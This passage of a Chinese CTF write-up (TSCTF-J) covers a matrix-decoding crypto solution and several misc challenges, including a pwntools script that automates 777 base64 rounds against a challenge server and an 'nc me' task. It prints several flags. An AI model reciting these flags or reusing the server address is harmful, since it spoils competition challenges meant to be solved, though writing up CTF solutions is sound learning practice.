82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325), (12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025), (16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885), (17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800), (16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405), (13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874), (9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448), (5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929), (3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775), (1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959), (675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544), (256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285), (85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326), (25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298), (6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979), (1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262), (276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939), (45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794), (6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019), (703640920, 6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274), (64001565, 703640920, 6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076), (4493136, 64001565, 703640920, 6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971), (228536, 4493136, 64001565, 703640920, 6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557), (7495, 228536, 4493136, 64001565, 703640920, 6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524), (119, 7495, 228536, 4493136, 64001565, 703640920, 6211025353, 45208399259, 276553463002, 1441882588761, 6475115181445, 25246547002072, 85983656265850, 256941216121761, 675825051627779, 1567845292427678, 3211273400922785, 5807175032551549, 9262882643940282, 13006248197745601, 16025832872164445, 17251391027812564, 16127119276061653, 12988691565917518, 8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406)]
C=Matrix(C)
M=Matrix(32,32)
for i in range(32):
M[i,i] = 2
for i in range(31):
M[i,i+1] = 1
M = M.transpose()
t=31
G=Matrix(32,32)
O=Matrix(32,32)
t=31
for i in range(31):
a=C[31-i,0]
G=M**t
O=a*G
C-=O
print(chr(a),end="")
t-=1
t=31
M = M.transpose()
for i in range(31):
a=C[0,31-i]
G=M**t
O=a*G
C-=O
print(chr(a),end="")
t-=1

输出tropmI_si_xirtaM_nadroJ{J_FTCST

再用逆序代码将这串字符逆序即可

1
2
3
def strReverse(strDemo):
return strDemo[::-1]
print(strReverse('}tropmI_si_xirtaM_nadroJ{J_FTCST'))

得到flag

TSCTF_J{Jordan_Matrix_is_Import}

MISC

北邮人之声

一听就知道是倒放,用AU将其倒过来

然后努力的去听(

听到一串单词,联合搜索 Whiskey等,再敲下出题人(

发现是国际航空无线电通讯

一一对应得到flag

Just_Play

小游戏,玩了4h,还挺好玩,顺便问问f0复制黏贴塔的时候不累吗

strange base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import random

flag="TSCTF-J{fake_flag}"

def GBK2312():
head = random.randint(0xb0, 0xf7)
body = random.randint(0xa1, 0xfe)
val = f'{head:x} {body:x}'
str = bytes.fromhex(val).decode('gb2312')
return str

def b64encode(a):
encode = base64.b64encode(a.encode('utf-8'))
return encode

if __name__ == '__main__':
for i in range(777):
choice=random.random()
if choice <= 0.3:
chinese=GBK2312()
else :
chinese=str(random.choice(dic_word))
chinese_base64=b64encode(chinese)
print(f'Input base64(???) = {chinese_base64} plz!')
s = input()
if s == chinese:
print(f'{i+1}:succeed')
else :
print(f'{i+1}:failed')
quit()
print(flag)

很容易就看出了解密脚本

1
2
3
4
def b64decode(a):
a=base64.b64decode(a)
decode=a.decode('utf-8')
return decode

重点在于这个777循环,需要与服务器进行交互

小小学习下pwntools的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import base64
def b64decode(a):
a=base64.b64decode(a)
decode=a.decode('utf-8')
return decode
r = remote('121.4.73.103',10007)
for i in range(777):
a=r.recvline()
c=''
for k in a[21:]:
if(chr(k)==" "):break
c+=chr(k)
c=b64decode(c)
data = bytes(c,encoding='utf-8')
r.sendline(data)
r.recvline()
print(r.recv())

运行即可解得flag

Abstract

由于不是Abstract手,就随便写写

Abstract_culture

yesterday——曾经

浪——海浪

today——今日

水滴禁止水滴

云静止云

小猜一下+知识储备

得出曾经沧海难为水,除却巫山不是云

EasterEgg

不难看出是helang(何语言)

https://github.com/kifuan/helang

可以看到u8_b是数组,b[1]应该是数组第1个数

因为Saint He 曾说:whichKey-1,所以数组下标从1开始

但是由于出题人何语言不过关,所以应该是688333*2

nc me

直接nc进去,ls,然后cat flag即可